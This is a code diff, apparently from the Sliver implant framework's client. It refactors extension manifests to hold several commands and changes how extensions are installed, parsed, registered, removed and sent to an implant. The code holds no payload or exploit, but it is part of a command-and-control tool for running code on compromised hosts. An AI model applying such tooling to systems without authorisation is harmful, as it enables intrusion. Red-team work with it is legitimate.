"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -35,121 +36,90 @@ import (
|
||||
func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
extLocalPath := args[0]
|
||||
|
||||
fi, err := os.Stat(extLocalPath)
|
||||
_, err := os.Stat(extLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFilePath(extLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(extLocalPath, con)
|
||||
}
|
||||
InstallFromDir(extLocalPath, con, strings.HasSuffix(extLocalPath, ".tar.gz"))
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
func InstallFromDir(extLocalPath string, con *console.SliverConsoleClient, isGz bool) {
|
||||
var manifestData []byte
|
||||
var err error
|
||||
|
||||
if isGz {
|
||||
manifestData, err = util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
} else {
|
||||
manifestData, err = os.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
}
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
|
||||
manifestF, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
|
||||
|
||||
//create repo path
|
||||
minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestF.Name))
|
||||
if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifestF.Name)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
forceRemoveAll(minstallPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... \n", manifestF.Name, manifestF.Version)
|
||||
err = os.MkdirAll(minstallPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating extension directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(minstallPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
forceRemoveAll(minstallPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
for _, manifest := range manifestF.ExtCommand {
|
||||
installPath := filepath.Join(minstallPath)
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
if isGz {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
} else {
|
||||
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
|
||||
err = os.MkdirAll(filepath.Dir(dst), 0o700) //required for extensions with multiple dirs between the .o file and the manifest
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
err = util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error installing command: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// InstallFromFilePath - Install an extension from a .tar.gz file
|
||||
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create extension directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, manifestFile := range manifest.Files {
|
||||
if manifestFile.Path != "" {
|
||||
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
|
||||
if err != nil {
|
||||
|
||||
@@ -24,12 +24,14 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
appConsole "github.com/reeflective/console"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -53,9 +55,10 @@ const (
|
||||
ManifestFileName = "extension.json"
|
||||
)
|
||||
|
||||
var loadedExtensions = map[string]*ExtensionManifest{}
|
||||
var loadedExtensions = map[string]*ExtCommand{}
|
||||
var loadedManifests = map[string]*ExtensionManifest{}
|
||||
|
||||
type ExtensionManifest struct {
|
||||
type ExtensionManifest_ struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
Version string `json:"version"`
|
||||
@@ -73,6 +76,32 @@ type ExtensionManifest struct {
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
type ExtensionManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
ExtensionAuthor string `json:"extension_author"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
|
||||
ExtCommand []*ExtCommand `json:"commands"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
type ExtCommand struct {
|
||||
CommandName string `json:"command_name"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
|
||||
Manifest *ExtensionManifest
|
||||
}
|
||||
|
||||
//type MultiManifest []*ExtensionManifest
|
||||
|
||||
type extensionFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
@@ -86,11 +115,11 @@ type extensionArgument struct {
|
||||
Optional bool `json:"optional"`
|
||||
}
|
||||
|
||||
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range e.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
|
||||
filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -109,18 +138,25 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta
|
||||
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
manyfest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
return
|
||||
for _, extCmd := range manyfest.ExtCommand {
|
||||
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current command?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, cmd.Root(), con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
ExtensionRegisterCommand(extCmd, cmd.Root(), con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
|
||||
}
|
||||
|
||||
// LoadExtensionManifest - Parse extension files
|
||||
@@ -129,66 +165,165 @@ func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest, err := ParseExtensionManifest(data)
|
||||
manifest, err := ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extManifest.RootPath = filepath.Dir(manifestPath)
|
||||
loadedExtensions[extManifest.CommandName] = extManifest
|
||||
return extManifest, nil
|
||||
manifest.RootPath = filepath.Dir(manifestPath)
|
||||
for _, extManifest := range manifest.ExtCommand {
|
||||
loadedExtensions[extManifest.CommandName] = extManifest
|
||||
}
|
||||
loadedManifests[manifest.Name] = manifest
|
||||
|
||||
return manifest, nil
|
||||
|
||||
}
|
||||
|
||||
// ParseExtensionManifest - Parse extension manifest from buffer
|
||||
func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
ret := &ExtensionManifest{
|
||||
Name: old.CommandName, //treating old commandname as the manifest name to avoid weird chars mostly
|
||||
Version: old.Version,
|
||||
ExtensionAuthor: old.ExtensionAuthor,
|
||||
OriginalAuthor: old.OriginalAuthor,
|
||||
RepoURL: old.RepoURL,
|
||||
RootPath: old.RootPath,
|
||||
//only one command exists in the old manifest, so we can 'confidently' create it here
|
||||
ExtCommand: []*ExtCommand{
|
||||
{
|
||||
CommandName: old.CommandName,
|
||||
DependsOn: old.DependsOn,
|
||||
Help: old.Help,
|
||||
LongHelp: old.LongHelp,
|
||||
Entrypoint: old.Entrypoint,
|
||||
Files: old.Files,
|
||||
Arguments: old.Arguments,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
//Manifest ref is done in the parser that calls this
|
||||
|
||||
return ret
|
||||
}
|
||||
|
||||
// parseExtensionManifest - Parse extension manifest from buffer (legacy, only parses one)
|
||||
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
extManifest := &ExtensionManifest{}
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if extManifest.Name == "" {
|
||||
return nil, errors.New("missing `name` field in extension manifest")
|
||||
}
|
||||
if extManifest.CommandName == "" {
|
||||
return nil, errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return nil, errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
for _, extFiles := range extManifest.Files {
|
||||
if extFiles.OS == "" {
|
||||
return nil, errors.New("missing `files.os` field in extension manifest")
|
||||
if err != nil || len(extManifest.ExtCommand) == 0 { //extensions must have at least one command to be sensible
|
||||
//maybe it's an old manifest
|
||||
log.Println(err)
|
||||
oldmanifest := &ExtensionManifest_{}
|
||||
err := json.Unmarshal(data, &oldmanifest)
|
||||
if err != nil {
|
||||
//nope, just broken
|
||||
return nil, err
|
||||
}
|
||||
if extFiles.Arch == "" {
|
||||
return nil, errors.New("missing `files.arch` field in extension manifest")
|
||||
}
|
||||
extFiles.Path = util.ResolvePath(extFiles.Path)
|
||||
if extFiles.Path == "" || extFiles.Path == "/" {
|
||||
return nil, errors.New("missing `files.path` field in extension manifest")
|
||||
}
|
||||
extFiles.OS = strings.ToLower(extFiles.OS)
|
||||
extFiles.Arch = strings.ToLower(extFiles.Arch)
|
||||
//yes, ok, lets jigger it to a new manifest
|
||||
extManifest = convertOldManifest(oldmanifest)
|
||||
}
|
||||
if extManifest.Help == "" {
|
||||
return nil, errors.New("missing `help` field in extension manifest")
|
||||
//pass ref to manifest to each command
|
||||
for i := range extManifest.ExtCommand {
|
||||
extManifest.ExtCommand[i].Manifest = extManifest
|
||||
}
|
||||
return extManifest, nil
|
||||
return extManifest, validManifest(extManifest)
|
||||
}
|
||||
|
||||
func validManifest(manifest *ExtensionManifest) error {
|
||||
if manifest.Name == "" {
|
||||
return errors.New("missing `name` field in extension manifest")
|
||||
}
|
||||
for _, extManifest := range manifest.ExtCommand {
|
||||
if extManifest.CommandName == "" {
|
||||
return errors.New("missing `command_name` field in extension manifest")
|
||||
}
|
||||
if len(extManifest.Files) == 0 {
|
||||
return errors.New("missing `files` field in extension manifest")
|
||||
}
|
||||
for _, extFiles := range extManifest.Files {
|
||||
if extFiles.OS == "" {
|
||||
return errors.New("missing `files.os` field in extension manifest")
|
||||
}
|
||||
if extFiles.Arch == "" {
|
||||
return errors.New("missing `files.arch` field in extension manifest")
|
||||
}
|
||||
extFiles.Path = util.ResolvePath(extFiles.Path)
|
||||
if extFiles.Path == "" || extFiles.Path == "/" {
|
||||
return errors.New("missing `files.path` field in extension manifest")
|
||||
}
|
||||
extFiles.OS = strings.ToLower(extFiles.OS)
|
||||
extFiles.Arch = strings.ToLower(extFiles.Arch)
|
||||
}
|
||||
if extManifest.Help == "" {
|
||||
return errors.New("missing `help` field in extension manifest")
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ExtensionRegisterCommand - Register a new extension command
|
||||
func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
|
||||
con.PrintErrorf(errInvalidArgs.Error())
|
||||
return
|
||||
}
|
||||
|
||||
loadedExtensions[extCmd.CommandName] = extCmd
|
||||
helpMsg := extCmd.Help
|
||||
//helpMsg := extCmd.Help
|
||||
|
||||
usage := strings.Builder{}
|
||||
usage.WriteString(extCmd.CommandName)
|
||||
//build usage including args
|
||||
for _, arg := range extCmd.Arguments {
|
||||
usage.WriteString(" ")
|
||||
if arg.Optional {
|
||||
usage.WriteString("[")
|
||||
}
|
||||
usage.WriteString(strings.ToUpper(arg.Name))
|
||||
if arg.Optional {
|
||||
usage.WriteString("]")
|
||||
}
|
||||
}
|
||||
longHelp := strings.Builder{}
|
||||
//prepend the help value, because otherwise I don't see where it is meant to be shown
|
||||
//build the command ref
|
||||
longHelp.WriteString("[[.Bold]]Command:[[.Normal]]")
|
||||
longHelp.WriteString(usage.String())
|
||||
longHelp.WriteString("\n")
|
||||
if len(extCmd.Help) > 0 || len(extCmd.LongHelp) > 0 {
|
||||
longHelp.WriteString("[[.Bold]]About:[[.Normal]]")
|
||||
if len(extCmd.Help) > 0 {
|
||||
longHelp.WriteString(extCmd.Help)
|
||||
longHelp.WriteString("\n")
|
||||
}
|
||||
if len(extCmd.LongHelp) > 0 {
|
||||
longHelp.WriteString(extCmd.LongHelp)
|
||||
longHelp.WriteString("\n")
|
||||
}
|
||||
}
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
longHelp.WriteString("[[.Bold]]Arguments:[[.Normal]]")
|
||||
}
|
||||
//if more than 0 args specified, describe each arg at the bottom of the long help text (incase the manifest doesn't include it)
|
||||
for _, arg := range extCmd.Arguments {
|
||||
longHelp.WriteString("\n\t")
|
||||
optStr := ""
|
||||
if arg.Optional {
|
||||
optStr = "[OPTIONAL]"
|
||||
}
|
||||
aType := arg.Type
|
||||
if aType == "wstring" {
|
||||
aType = "string" //avoid confusion, as this is mostly for telling operator what to shove into the args
|
||||
}
|
||||
//idk how to make this look nice, tabs don't work especially good - maybe should use the table stuff other things do? Pls help.
|
||||
longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
|
||||
}
|
||||
|
||||
// Command
|
||||
extensionCmd := &cobra.Command{
|
||||
Use: extCmd.CommandName,
|
||||
Short: helpMsg,
|
||||
Long: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Use: usage.String(), //extCmd.CommandName,
|
||||
//Short: helpMsg.String(), doesn't appear to be used?
|
||||
Long: help.FormatHelpTmpl(longHelp.String()),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runExtensionCmd(cmd, con, args)
|
||||
},
|
||||
@@ -197,7 +332,7 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con
|
||||
}
|
||||
|
||||
// Flags
|
||||
f := pflag.NewFlagSet(extCmd.Name, pflag.ContinueOnError)
|
||||
f := pflag.NewFlagSet(extCmd.CommandName, pflag.ContinueOnError)
|
||||
f.BoolP("save", "s", false, "Save output to disk")
|
||||
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
|
||||
extensionCmd.Flags().AddFlagSet(f)
|
||||
@@ -210,9 +345,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con
|
||||
cmd.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
|
||||
binPath, err := ext.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -233,10 +368,12 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
if !depLoaded && extName == ext.DependsOn {
|
||||
depLoaded = true
|
||||
if !depLoaded {
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extName == extN.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
}
|
||||
if ext.CommandName == extName {
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
@@ -261,12 +398,12 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Name: ext.CommandName,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
//Init: ext.Init, ?
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -281,7 +418,7 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd
|
||||
func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error {
|
||||
depExt, ok := loadedExtensions[depName]
|
||||
if ok {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
|
||||
depBinPath, err := depExt.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -327,7 +464,7 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch)
|
||||
binPath, err := ext.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read extension file: %s\n", err)
|
||||
return
|
||||
@@ -351,8 +488,17 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(args, " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
// extArgs := strings.Join(args, " ")
|
||||
//legacy case - single string arg
|
||||
if len(ext.Arguments) == 1 && ext.Arguments[0].Type == "string" {
|
||||
extensionArgs = []byte(strings.Join(args, " "))
|
||||
} else {
|
||||
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext args error: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
@@ -404,12 +550,8 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtensionManifest) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
|
||||
var err error
|
||||
argsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
@@ -486,6 +628,17 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *Extensio
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return parsedArgs, nil
|
||||
}
|
||||
|
||||
func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Now build the extension's argument buffer
|
||||
extensionArgsBuffer := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
@@ -498,6 +651,10 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *Extensio
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(parsedArgs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -520,7 +677,7 @@ func CmdExists(name string, cmd *cobra.Command) bool {
|
||||
}
|
||||
|
||||
// makeExtensionArgParser builds the valid positional arguments cobra handler for the extension.
|
||||
func checkExtensionArgs(extCmd *ExtensionManifest) error {
|
||||
func checkExtensionArgs(extCmd *ExtCommand) error {
|
||||
if 0 < len(extCmd.Arguments) {
|
||||
for _, arg := range extCmd.Arguments {
|
||||
switch arg.Type {
|
||||
@@ -536,7 +693,7 @@ func checkExtensionArgs(extCmd *ExtensionManifest) error {
|
||||
}
|
||||
|
||||
// makeExtensionArgCompleter builds the positional arguments completer for the extension.
|
||||
func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comps *carapace.Carapace) {
|
||||
func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *carapace.Carapace) {
|
||||
var actions []carapace.Action
|
||||
|
||||
for _, arg := range extCmd.Arguments {
|
||||
@@ -558,7 +715,7 @@ func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comp
|
||||
comps.PositionalCompletion(actions...)
|
||||
}
|
||||
|
||||
func makeCommandPlatformFilters(extCmd *ExtensionManifest) map[string]string {
|
||||
func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string {
|
||||
filtersOS := make(map[string]bool)
|
||||
filtersArch := make(map[string]bool)
|
||||
|
||||
|
||||
@@ -45,12 +45,22 @@ func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := RemoveExtensionByCommandName(name, con)
|
||||
found, err := RemoveExtensionByManifestName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing extension: %s\n", err)
|
||||
con.PrintErrorf("Error removing extensions: %s\n", err)
|
||||
return
|
||||
}
|
||||
if !found {
|
||||
err = RemoveExtensionByCommandName(name, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error removing extension: %s\n", err)
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Extension '%s' removed\n", name)
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("Extension '%s' removed\n", name)
|
||||
//found, and no error, manifest must have removed good
|
||||
con.PrintInfof("Extensions from %s removed\n", name)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,6 +81,28 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverConsole
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveExtensionByManifestName - remove by the named manifest, returns true if manifest was removed, false if no manifest with that name was found
|
||||
func RemoveExtensionByManifestName(manifestName string, con *console.SliverConsoleClient) (bool, error) {
|
||||
if manifestName == "" {
|
||||
return false, errors.New("command name is required")
|
||||
}
|
||||
if man, ok := loadedManifests[manifestName]; ok {
|
||||
//foudn the manifest
|
||||
//delet it
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return true, nil
|
||||
}
|
||||
forceRemoveAll(extPath)
|
||||
delete(loadedManifests, manifestName)
|
||||
for _, cmd := range man.ExtCommand {
|
||||
delete(loadedExtensions, cmd.CommandName)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
|
||||
@@ -0,0 +1,149 @@
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
package filesystem
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"math"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
